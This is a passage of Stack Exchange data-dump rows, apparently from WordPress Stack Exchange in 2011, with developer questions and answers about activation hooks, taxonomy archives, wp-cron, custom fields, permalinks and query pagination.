  <row Id="16893" PostTypeId="1" AcceptedAnswerId="16896" CreationDate="2011-05-10T21:33:10.333" Score="1" ViewCount="138" Body="&lt;p&gt;I've a class which has a function that check and creates table in database.&#xA;In order to do so i need to use WordPress $wpdb object.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I need the function to run only on first plugin activation, so i use the function:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;register_activation_hook  ( __FILE__, array( 'MemorialCandles', 'dbInstall'   ) );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The problem is that i get always this error:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Fatal error: Using $this when not in object context in /home/xxx/xxx/wordpress/wp-content/plugins/MemorialCandles/memorial-candles.class.php on line 77&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;the class code:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;&#xA;// Global Variables:&#xA;global $wpdb;&#xA;register_activation_hook  ( __FILE__, array( 'MemorialCandles', 'dbInstall'   ) );&#xA;&#xA;/**&#xA; * Class: MemorialCandles&#xA; * &#xA; * Provides skeleton to the plugin and handles queries and action.&#xA; * &#xA; * @author Dor Zuberi &amp;lt;dor@zubri.me&amp;gt;&#xA; * @copyright 2011 Dor Zuberi&#xA; * @license http://www.php.net/license/3_01.txt&#xA; */&#xA;class MemorialCandles&#xA;{&#xA;    // Variables    &#xA;    /**&#xA;     * @var string stores plugin direction - RTL or LTR.&#xA;     */&#xA;    private $pluginDirection;&#xA;&#xA;    /**&#xA;     * @var string stores the plugin database table name.&#xA;     */&#xA;    private $tableName;&#xA;&#xA;    // Constructor&#xA;    /**&#xA;     * Initiates the plugin, stores and configure the basic setup procedures.&#xA;     * &#xA;     * @return void&#xA;     */&#xA;    function __construct()&#xA;    {&#xA;        global $wpdb;&#xA;&#xA;        $this-&amp;gt;tableName = $wpdb-&amp;gt;prefix . 'memorialcandles';&#xA;    }&#xA;&#xA;    // Getters&#xA;&#xA;    // Setters&#xA;&#xA;    // Methods&#xA;    /**&#xA;     * Handles the database table creation.&#xA;     * &#xA;     * @return void&#xA;     */&#xA;    function dbInstall()&#xA;    {&#xA;        global $wpdb;&#xA;&#xA;        if( $wpdb-&amp;gt;get_var( &quot;SHOW TABLES LIKE `{$this-&amp;gt;tableName}`&quot; ) != $this-&amp;gt;tableName )&#xA;        {&#xA;            $sql = &quot;CREATE TABLE `{$this-&amp;gt;tableName}` (&#xA;                        id        int(8) NOT NULL AUTO_INCREMENT,&#xA;                        fullName  text   NOT NULL,&#xA;                        message   text   NOT NULL,&#xA;                        postDate  text   NOT NULL,&#xA;                        galleryID int(8) NOT NULL,&#xA;&#xA;                        UNIQUE KEY id(id)&#xA;                    );&quot;;&#xA;&#xA;            require_once( ABSPATH . 'wp-admin/includes/upgrade.php' );&#xA;            dbDelta( $sql );&#xA;        }&#xA;    }&#xA;&#xA;    /**&#xA;     * Handles the database table drop procedure.&#xA;     * &#xA;     * @return void&#xA;     */&#xA;    function dbUninstall()&#xA;    {&#xA;        global $wpdb;&#xA;&#xA;        $sql = &quot;DROP TABLE IF EXISTS `{$this-&amp;gt;tableName}`;&quot;;&#xA;&#xA;        $wpdb-&amp;gt;query( $sql );&#xA;    }    &#xA;}&#xA;&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance! :D&lt;/p&gt;&#xA;" OwnerUserId="5274" LastActivityDate="2011-05-10T22:24:19.110" Title="Call External Object in Class Function During Callback" Tags="&lt;php&gt;&lt;wpdb&gt;&lt;global&gt;" AnswerCount="2" />
  <row Id="16894" PostTypeId="2" ParentId="16889" CreationDate="2011-05-10T21:35:54.913" Score="1" ViewCount="" Body="&lt;p&gt;how about just &lt;code&gt;get_categories&lt;/code&gt;?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$myCats = get_categories( array( 'exclude'=&amp;gt;'1,2' ) );&#xA;$myArray = array();&#xA;foreach( $myCats as $cat ){&#xA;    $myArray[ $cat-&amp;gt;cat_ID ] = $cat-&amp;gt;name;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="4771" LastActivityDate="2011-05-10T21:35:54.913" />
  <row Id="16895" PostTypeId="1" AcceptedAnswerId="16898" CreationDate="2011-05-10T21:36:52.580" Score="1" ViewCount="195" Body="&lt;p&gt;I recently adjusted the twentyten theme to display archives in a three column grid.  In doing so, it seems that the archive has lost the ability to display posts from the specified taxonomy.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For instance, a taxonomy type is 'Flowers', with a specific flower being 'Rose'.  When the 'Rose' archive is displayed, it simply lists all posts.  I believe I have narrowed the problem to this line:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;query_posts('cat=0&amp;amp;posts_per_page=12&amp;amp;paged='.$paged);&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I understand that it is just listing all 'uncategorized' posts, but I am at a loss with how to have display a specific taxonomy archive as would normally be done for a category archive.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas?  I am guessing it isn't as hard as I am making it, but I have searched for hours with no luck.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance!&lt;/p&gt;&#xA;" OwnerUserId="5019" LastActivityDate="2011-05-10T22:36:23.060" Title="Creating an Archive using a Custom Taxonomy" Tags="&lt;custom-taxonomy&gt;&lt;3.1&gt;&lt;archive&gt;" AnswerCount="2" CommentCount="1" FavoriteCount="2" />
  <row Id="16896" PostTypeId="2" ParentId="16893" CreationDate="2011-05-10T22:06:24.623" Score="1" ViewCount="" Body="&lt;p&gt;Try:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;register_activation_hook  ( __FILE__, array( new MemorialCandles(), 'dbInstall'   ) );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Or define dbInstall as ´static´ and use that to set the table name instead the constructor, which I think is the best approach.&lt;/p&gt;&#xA;" OwnerUserId="5223" LastActivityDate="2011-05-10T22:06:24.623" CommentCount="4" />
  <row Id="16897" PostTypeId="2" ParentId="16893" CreationDate="2011-05-10T22:14:07.283" Score="1" ViewCount="" Body="&lt;p&gt;Ok new answer , and this time a tested working solution. first create an instance of you class and only then call your &lt;code&gt;register_activation_hook&lt;/code&gt; so something like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$MemorialCandles = NEW MemorialCandles();&#xA;&#xA;register_activation_hook  ( __FILE__, array( 'MemorialCandles', 'dbInstall'   ) );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2487" LastEditorUserId="2487" LastEditorDisplayName="" LastEditDate="2011-05-10T22:24:19.110" LastActivityDate="2011-05-10T22:24:19.110" />
  <row Id="16898" PostTypeId="2" ParentId="16895" CreationDate="2011-05-10T22:18:54.517" Score="3" ViewCount="" Body="&lt;p&gt;you can add the current term to you query so if its category, tag or custom taxonomy you will get the posts with the current term, try changing this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;query_posts('cat=0&amp;amp;posts_per_page=12&amp;amp;paged='.$paged);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;with this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$term_slug = get_query_var( 'term' );&#xA;$taxonomyName = get_query_var( 'taxonomy' );&#xA;query_posts(array('posts_per_page' =&amp;gt; 12, 'paged' =&amp;gt; $paged, $taxonomyName =&amp;gt; $term_slug));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-05-10T22:18:54.517" CommentCount="1" />
  <row Id="16899" PostTypeId="1" CreationDate="2011-05-04T18:57:05.213" Score="0" ViewCount="17" Body="&lt;p&gt;I'm writing a plugin that needs to add an arbitrary ID to &lt;code&gt;&amp;lt;a&amp;gt;&lt;/code&gt; tags associated with page navigation. What's the most appropriate action/filter hook to use for this, or is there a better way to do it?&lt;/p&gt;&#xA;" LastActivityDate="2011-05-10T22:34:14.003" Title="How do I modify navigation with a plugin?" Tags="&lt;plugin-development&gt;" CommentCount="1" />
  <row Id="16900" PostTypeId="2" ParentId="16895" CreationDate="2011-05-10T22:36:23.060" Score="-1" ViewCount="" Body="&lt;p&gt;+1 to Milo answer. But if you need to change the post_per_page parameter, try this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;global $query_string;&#xA;$paged = (get_query_var('paged')) ? get_query_var('paged') : 1;&#xA;query_posts($query_string.'&amp;amp;paged='.$paged.'&amp;amp;posts_per_page=12');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="5223" LastActivityDate="2011-05-10T22:36:23.060" CommentCount="1" />
  <row Id="16901" PostTypeId="1" AcceptedAnswerId="16918" CreationDate="2011-05-10T23:19:50.870" Score="0" ViewCount="89" Body="&lt;p&gt;This isn't as simple of a question as you may think. Basically I have a C# program that is hitting the worpdress site and the wp_schedule doesn't seem to fire off. If I go to the site with my firefox browser then it seems to fire-off. Soooo what's the difference here? What exactly causes the cron to fire? Is it the HTTP GET? Or is there some script or function inside the page that is loaded by browsers?&lt;/p&gt;&#xA;" OwnerUserId="4119" LastActivityDate="2011-05-14T15:02:07.367" Title="What causes wp_schedule_single_event to fire off?" Tags="&lt;plugins&gt;&lt;cron&gt;&lt;wp-cron&gt;" AnswerCount="3" CommentCount="4" />
  <row Id="16902" PostTypeId="1" CreationDate="2011-05-10T23:45:34.737" Score="0" ViewCount="457" Body="&lt;p&gt;Wondering if someone could tell me why sub pages (child pages) no longer work (eg: www.mysite.com/type/childpage).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have a page called &quot;Type&quot; (working fine), and I wish to have Child Pages of &quot;Type&quot; (404 errors)- as you can see I also like to have the &quot;type&quot; rewrite slug in front of my custom post types/taxonomies.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried the method from this link to no avail:  &lt;a href=&quot;http://wordpress.stackexchange.com/questions/4127/custom-taxonomy-and-pages-rewrite-slug-conflict-gives-404&quot; title=&quot;http://wordpress.stackexchange.com/questions/4127/custom-taxonomy-and-pages-rewrite-slug-conflict-gives-404&quot;&gt;http://wordpress.stackexchange.com/questions/4127/custom-taxonomy-and-pages-rewrite-slug-conflict-gives-404&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action( 'init', 'create_zombie_type' );&#xA;&#xA;function create_zombie_type() {&#xA;register_post_type('zombies', &#xA;array(  &#xA;'description' =&amp;gt; 'Zombie custom post type',&#xA;'show_ui' =&amp;gt; true,&#xA;'menu_position' =&amp;gt; 5,&#xA;'menu_icon' =&amp;gt; get_stylesheet_directory_uri() . '/images/zombies.png',&#xA;'exclude_from_search' =&amp;gt; false,&#xA;'labels' =&amp;gt; array(&#xA;    'name' =&amp;gt; 'Zombies',&#xA;    'singular_name' =&amp;gt; 'Zombie',&#xA;    'add_new' =&amp;gt; 'Add New Zombie',&#xA;    'add_new_item' =&amp;gt; 'Add New Zombie',&#xA;    'edit' =&amp;gt; 'Edit Zombies',&#xA;    'edit_item' =&amp;gt; 'Edit Zombie',&#xA;    'new_item' =&amp;gt; 'New Zombie',&#xA;    'view' =&amp;gt; 'View Zombie',&#xA;    'view_item' =&amp;gt; 'View Zombie',&#xA;    'search_items' =&amp;gt; 'Search Zombies',&#xA;    'not_found' =&amp;gt; 'No zombies found',&#xA;    'not_found_in_trash' =&amp;gt; 'No zombies found in Trash',&#xA;    'parent' =&amp;gt; 'Parent Zombie',&#xA;),&#xA;'hierarchical' =&amp;gt; false,&#xA;'supports' =&amp;gt; array('title','editor','excerpt', 'trackbacks','custom-fields',     'comments','revisions','thumbnail','author','page-attributes'),&#xA;'public' =&amp;gt; true,&#xA;'rewrite' =&amp;gt; array('slug' =&amp;gt; 'type/%freshness%', 'with_front' =&amp;gt; false),&#xA;'taxonomies' =&amp;gt; array('freshness')&#xA;) &#xA;);&#xA;}&#xA;&#xA;&#xA;&#xA;&#xA;add_action( 'init', 'create_zombie_taxonomies' );&#xA;&#xA;function create_zombie_taxonomies() {&#xA;register_taxonomy( &#xA;'freshness', &#xA;'zombies',&#xA;array( &#xA;'labels' =&amp;gt; array(&#xA;    'name' =&amp;gt; 'Freshness',&#xA;    'singular_name' =&amp;gt; 'Freshness',&#xA;    'search_items' =&amp;gt;  'Search Freshness',&#xA;    'popular_items' =&amp;gt; 'Popular Freshness',&#xA;    'all_items' =&amp;gt; 'All Freshness',&#xA;    'parent_item' =&amp;gt; 'Parent Freshness',&#xA;    'parent_item_colon' =&amp;gt; 'Parent Freshness:',&#xA;    'edit_item' =&amp;gt; 'Edit Freshness', &#xA;    'update_item' =&amp;gt; 'Update Freshness',&#xA;    'add_new_item' =&amp;gt; 'Add New Freshness',&#xA;    'new_item_name' =&amp;gt; 'New Freshness Name'&#xA;), &#xA;'hierarchical' =&amp;gt; true, &#xA;'public' =&amp;gt; true,&#xA;'show_ui' =&amp;gt; true,&#xA;'query_var' =&amp;gt; 'freshness',&#xA;'show_tagcloud' =&amp;gt; true,&#xA;'rewrite' =&amp;gt; array( 'slug' =&amp;gt; 'type', 'with_front' =&amp;gt; false ) &#xA;) &#xA;   );&#xA;&#xA;}&#xA;&#xA;&#xA;&#xA;function filter_post_type_link($link, $post)&#xA;{&#xA;if ($post-&amp;gt;post_type != 'zombies')&#xA;return $link;&#xA;&#xA;if ($cats = get_the_terms($post-&amp;gt;ID, 'freshness'))&#xA;$link = str_replace('%freshness%', array_pop($cats)-&amp;gt;slug, $link);&#xA;return $link;&#xA;}&#xA;&#xA;add_filter('post_type_link', 'filter_post_type_link', 10, 2);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2811" LastActivityDate="2011-05-11T08:23:25.547" Title="Permalink rewrite 404 conflict- WordPress Taxonomies/ CPT" Tags="&lt;custom-post-types&gt;&lt;custom-taxonomy&gt;&lt;permalinks&gt;&lt;rewrite-rules&gt;" AnswerCount="1" CommentCount="1" />
  <row Id="16903" PostTypeId="1" CreationDate="2011-05-11T00:04:33.847" Score="1" ViewCount="131" Body="&lt;p&gt;In my theme I want to display the featured image, but I also want to display the title attribute (of the image, not of the post/page) beside the image itself.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a simple way to do this? Where should I be looking?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks,&#xA;John.&lt;/p&gt;&#xA;" OwnerUserId="4916" LastActivityDate="2011-05-11T00:28:58.417" Title="How can I get the title attribute from get_the_post_thumbnail()?" Tags="&lt;themes&gt;&lt;pages&gt;&lt;post-thumbnails&gt;" AnswerCount="1" CommentCount="1" />
  <row Id="16904" PostTypeId="2" ParentId="16903" CreationDate="2011-05-11T00:28:58.417" Score="3" ViewCount="" Body="&lt;p&gt;Easy!&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php the_post_thumbnail();&#xA;echo get_post(get_post_thumbnail_id())-&amp;gt;post_excerpt; ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Taken from: &lt;a href=&quot;http://www.billerickson.net/wordpress-featured-image-captions/&quot; rel=&quot;nofollow&quot;&gt;http://www.billerickson.net/wordpress-featured-image-captions/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="4916" LastActivityDate="2011-05-11T00:28:58.417" />
  <row Id="16905" PostTypeId="2" ParentId="16901" CreationDate="2011-05-11T00:39:36.247" Score="0" ViewCount="" Body="&lt;p&gt;Are you following redirects?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In cron.php you can see that the spawn_cron function is doing&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; wp_redirect( add_query_arg('doing_wp_cron', '', stripslashes($_SERVER['REQUEST_URI'])) );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I didn't work a lot with WP crons, but maybe this point you on the right path&lt;/p&gt;&#xA;" OwnerUserId="5223" LastActivityDate="2011-05-11T00:39:36.247" CommentCount="1" />
  <row Id="16906" PostTypeId="1" CreationDate="2011-05-11T00:41:46.387" Score="3" ViewCount="114" Body="&lt;p&gt;how can i make sure a user can only be logged in on one computer at a time? I want to make a wordpress site that could potentially have paid accounts for content in the future. Is there anything built into wordpress that prevents a user from being logged in more than once?&lt;/p&gt;&#xA;" OwnerUserId="2457" LastActivityDate="2011-08-15T02:22:21.473" Title="ensure user can only be logged in on one computer at a time?" Tags="&lt;3.1&gt;&lt;security&gt;" AnswerCount="4" CommentCount="2" FavoriteCount="1" />
  <row Id="16907" PostTypeId="1" CreationDate="2011-05-08T16:32:14.277" Score="0" ViewCount="162" Body="&lt;p&gt;I'm a bit new to php and am having some trouble combining the functionality of two custom queries in Wordpress in order to (1) get pagination to work properly, and (2) sort my posts according to a voting plugin.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;(1) The following is a custom query, which is working with pagination, but does not sort my posts according to votes (set in a voting plugin).&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$total = &quot;&#xA;SELECT wposts.*&#xA;FROM $wpdb-&amp;gt;posts wposts, $wpdb-&amp;gt;postmeta wpostmeta&#xA;WHERE wposts.ID         =   wpostmeta.post_id&#xA;AND wposts.post_status  =   'publish'&#xA;AND wposts.post_type IN     ('youtube', 'vimeo')&#xA;GROUP BY wposts.ID&#xA;&quot;;&#xA;&#xA;$totalposts = $wpdb-&amp;gt;get_results($total, OBJECT);&#xA;$ppp = intval(get_query_var('posts_per_page'));&#xA;$wp_query-&amp;gt;found_posts = count($totalposts);&#xA;$wp_query-&amp;gt;max_num_pages = ceil($wp_query-&amp;gt;found_posts / $ppp); &#xA;$on_page = intval(get_query_var('paged'));  &#xA;&#xA;if($on_page == 0){ $on_page = 1; }  &#xA;$offset = ($on_page-1) * $ppp;&#xA;&#xA;$wp_query-&amp;gt;request = &quot;&#xA;SELECT wposts.*&#xA;FROM $wpdb-&amp;gt;posts wposts, $wpdb-&amp;gt;postmeta wpostmeta&#xA;WHERE wposts.ID         =   wpostmeta.post_id&#xA;AND wposts.post_status  =   'publish'&#xA;AND wposts.post_type IN     ('youtube', 'vimeo')&#xA;GROUP BY wposts.ID&#xA;LIMIT $ppp OFFSET $offset&#xA;&quot;;&#xA;&#xA;$pageposts = $wpdb-&amp;gt;get_results($wp_query-&amp;gt;request, OBJECT);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;(2) The following is another custom query. When this query is combined with the function in #3, it does sort my posts according to votes. However it does not work with pagination.&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$enddate = date('Y-m-d');&#xA;$increment_date = strtotime(&quot;+1 day&quot;, strtotime( $enddate ));&#xA;$enddate = date(&quot;Y-m-d&quot;, $increment_date);&#xA;&#xA;$increment_date = strtotime(&quot;-1 month&quot;, strtotime( $enddate ));&#xA;$startdate = date(&quot;Y-m-d&quot;, $increment_date);&#xA;&#xA;$query = &quot;&#xA;SELECT wposts.*&#xA;FROM $wpdb-&amp;gt;posts wposts, $wpdb-&amp;gt;postmeta wpostmeta&#xA;WHERE wposts.ID         = wpostmeta.post_id&#xA;AND wposts.post_status  = 'publish'&#xA;AND wposts.post_type IN ('youtube', 'vimeo')&#xA;AND post_date           &amp;gt;= '$startdate'&#xA;AND post_date           &amp;lt;= '$enddate'&#xA;GROUP BY wposts.ID&#xA;&quot;;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;(3) And the function for sort according to votes is...&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function ShowPostByVotes($query) {&#xA;&#xA;global $wpdb, $voteiu_databasetable;&#xA;$upperlimit = get_option('voteiu_limit');&#xA;if ($upperlimit == '') { $upperlimit = 100; } $lowerlimit = 0;&#xA;&#xA;$votesarray = array();&#xA;&#xA;    $pageposts = $wpdb-&amp;gt;get_results($query, OBJECT);&#xA;&#xA;$query_limited = $query.&quot; LIMIT &quot;.$lowerlimit.&quot;, &quot;.$upperlimit;&#xA;&#xA;$posttablecontents = mysql_query( $query_limited );&#xA;&#xA;while ($row = mysql_fetch_array($posttablecontents)) {&#xA;    $post_id = $row['ID'];&#xA;    $vote_array = GetVotes($post_id, &quot;array&quot;);&#xA;    array_push($votesarray, array(GetVotes($post_id)));&#xA;}&#xA;array_multisort($votesarray, SORT_DESC, $pageposts);&#xA;$output = $pageposts;&#xA;return $output;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;My difficulty is that I can't seem to create a query/function that both sorts my posts by votes, and also works with pagination...I apologize I know it's a bit of a big question, but I've been struggling with this for a few days with no luck and can't seem to get anywhere. &lt;/p&gt;&#xA;" OwnerUserId="7772" LastActivityDate="2011-08-09T09:21:28.663" Title="Wordpress Custom Query: Combining Two Functions" Tags="&lt;php&gt;&lt;mysql&gt;&lt;query&gt;" AnswerCount="1" CommentCount="1" />
  <row Id="16908" PostTypeId="2" ParentId="16907" CreationDate="2011-05-09T12:43:16.453" Score="0" ViewCount="" Body="&lt;p&gt;You should probably be using the WP_Query object and have it order your posts by a meta field:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://codex.wordpress.org/Function_Reference/WP_Query#Parameters&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/Function_Reference/WP_Query#Parameters&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Doing so will handle sorting and pagination out of the box.&lt;/p&gt;&#xA;" OwnerUserId="1208" LastActivityDate="2011-05-09T12:43:16.453" CommentCount="3" />
  <row Id="16909" PostTypeId="1" CreationDate="2011-02-09T19:25:07.490" Score="2" ViewCount="125" Body="&lt;p&gt;I have multiple users adding content to restricted categories (using RoleScoper) in my WordPress setup that don't show up on the homepage (custom template with &lt;code&gt;query_posts()&lt;/code&gt;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm looking for a way to &quot;promote&quot; the submitted content to the homepage by adding it to another category.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My loop code looks like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;query_posts($query_string . '&amp;amp;cat=-37');&#xA;if (have_posts()):&#xA;    while (have_posts()): the_post(); ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This will exclude all posts in category 37. However, even if I add the post to a different category it still gets excluded.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way to exclude a post if it belongs to just that one category?&lt;/p&gt;&#xA;" OwnerUserId="6983" LastEditorUserId="8" LastEditorDisplayName="" LastEditDate="2011-05-12T08:30:47.667" LastActivityDate="2011-08-10T21:22:04.937" Title="&quot;NOT ONLY IN&quot; taxonomy query operator?" Tags="&lt;categories&gt;&lt;query-posts&gt;&lt;multi-taxonomy-query&gt;" AnswerCount="2" CommentCount="2" />
  <row Id="16910" PostTypeId="2" ParentId="16909" CreationDate="2011-02-09T22:45:41.237" Score="-1" ViewCount="" Body="&lt;p&gt;Are those posts in category 37 and the other category or just the other category and not showing up still?&lt;/p&gt;&#xA;" OwnerUserId="2832" LastActivityDate="2011-02-09T22:45:41.237" CommentCount="1" />
  <row Id="16912" PostTypeId="2" ParentId="16906" CreationDate="2011-05-11T01:45:12.970" Score="1" ViewCount="" Body="&lt;p&gt;A simple way could be hooking into the login process and check if the user is already logged.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is a 'wp_authenticate' action that runs just before loggin in an user.&lt;/p&gt;&#xA;" OwnerUserId="5223" LastActivityDate="2011-05-11T01:45:12.970" CommentCount="1" />
  <row Id="16913" PostTypeId="1" AcceptedAnswerId="16914" CreationDate="2011-05-11T01:58:14.937" Score="0" ViewCount="93" Body="&lt;p&gt;Ok so i am trying to use WordPress's custom fields and have them working but now i have some php code i need help with.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;a href=&quot;&amp;lt;?php echo get_post_meta( $post-&amp;gt;ID, '_ct_text_4dc9e9f74d000', true ); ?&amp;gt;&quot;&amp;gt;Go To Store!&amp;lt;/a&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The above code is what i have for right now. Is there a way to setup a if and else statement so if there is a value in the custom field then show that but else show N/A if there is no value present&lt;/p&gt;&#xA;" OwnerUserId="4998" LastActivityDate="2011-05-11T04:08:54.173" Title="Custom Field IF/ELSE PHP" Tags="&lt;php&gt;&lt;custom-field&gt;" AnswerCount="2" />
  <row Id="16914" PostTypeId="2" ParentId="16913" CreationDate="2011-05-11T02:10:24.697" Score="2" ViewCount="" Body="&lt;p&gt;You mean something like this?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$customhref = get_post_meta( $post-&amp;gt;ID, '_ct_text_4dc9e9f74d000', true );&#xA;&#xA;if ( $customhref ) {&#xA;?&amp;gt;&#xA;     &amp;lt;a href=&quot;&amp;lt;?php echo $customhref; ?&amp;gt;&quot;&amp;gt;Go To Store!&amp;lt;/a&amp;gt;&#xA;&amp;lt;?php&#xA;} else {&#xA;     echo 'N/A';&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3966" LastActivityDate="2011-05-11T02:10:24.697" CommentCount="1" />
  <row Id="16915" PostTypeId="1" AcceptedAnswerId="16917" CreationDate="2011-05-11T02:11:22.883" Score="1" ViewCount="70" Body="&lt;p&gt;I need to add multiple css files from a css framework to my editor-style.css file. The point is that i don't want to update the editor-style.css file anytime there's a new update from either my theme or the css framework. Is there a filter or hook &lt;strong&gt;to add more than one stylesheet&lt;/strong&gt;? (I'm aware of &lt;code&gt;@import&lt;/code&gt;, but didnt try to use it here.)&lt;/p&gt;&#xA;" OwnerUserId="385" LastEditorUserId="385" LastEditorDisplayName="" LastEditDate="2011-05-17T22:52:13.317" LastActivityDate="2011-05-17T22:52:13.317" Title="Is there a filter for editor-style.css file?" Tags="&lt;css&gt;&lt;editor&gt;&lt;wysiwyg&gt;" AnswerCount="1" />
  <row Id="16916" PostTypeId="1" CreationDate="2011-05-11T02:52:43.457" Score="0" ViewCount="87" Body="&lt;p&gt;Having an issue with the permalinks on this site I manage. One of the users added a new page, and now all the pages/posts are getting the WordPress 404 page. I reset the permalinks and this didn't resolve the issue. If I change the peralinks to the default setting, the site works as it should, but obviously I'd like to maintain the same permalink structure I've been using in the past: /%year%/%monthnum%/%postname%/&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I also tried deleting the .htaccess and generating a new one, still no luck. I then update WordPress to 3.1.2, it was using 3.1 before, still no luck. Running out of ideas...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Newly added page:&lt;br /&gt;&#xA;&lt;a href=&quot;http://www.locallivingmag.com/?page_id=1905&quot; rel=&quot;nofollow&quot;&gt;http://www.locallivingmag.com/?page_id=1905&lt;/a&gt;&lt;br /&gt;&#xA;&lt;a href=&quot;http://www.locallivingmag.com/local-living-television/&quot; rel=&quot;nofollow&quot;&gt;http://www.locallivingmag.com/local-living-television/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance for any advise.&lt;/p&gt;&#xA;" OwnerUserId="1388" LastActivityDate="2011-08-09T15:21:33.130" Title="404 and Permalink Issue" Tags="&lt;permalinks&gt;&lt;404-error&gt;" AnswerCount="1" CommentCount="2" />
  <row Id="16917" PostTypeId="2" ParentId="16915" CreationDate="2011-05-11T03:02:28.080" Score="2" ViewCount="" Body="&lt;pre&gt;&lt;code&gt;add_editor_style( $stylesheet );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://codex.wordpress.org/Function_Reference/add_editor_style&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/Function_Reference/add_editor_style&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="5223" LastActivityDate="2011-05-11T03:02:28.080" CommentCount="1" />
  <row Id="16918" PostTypeId="2" ParentId="16901" CreationDate="2011-05-11T03:45:14.957" Score="1" ViewCount="" Body="&lt;p&gt;The WP-Cron functions are not actually cron functions. Instead of a cron running and executing tasks precisely as scheduled, it waits until the frontend or admin is loaded, checks if any jobs are scheduled and then fires as needed. To execute the cron jobs, WP loads &lt;code&gt;wp-cron.php&lt;/code&gt;, which is located in the root folder. My understanding is that when you visit the site and a cron is scheduled, a request is made to &lt;code&gt;http://yourdomain.com/wp-cron.php&lt;/code&gt;, which initiates the scheduled cron job(s). I don't know exactly how this works (I've read about it before, but cannot find the resource again), but this request is made in such a way that not all servers can handle it, causing it not to work. I wonder if your problem is that this request isn't made with a GET request to your site.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As an alternative, I would recommend using a GET request to &lt;code&gt;http://yourdomain.com/wp-cron.php&lt;/code&gt;. In fact, in the excellent &lt;a href=&quot;http://justintadlock.com/plugindevbook&quot; rel=&quot;nofollow&quot;&gt;Professional WordPress Plugin Development&lt;/a&gt;, they recommend the 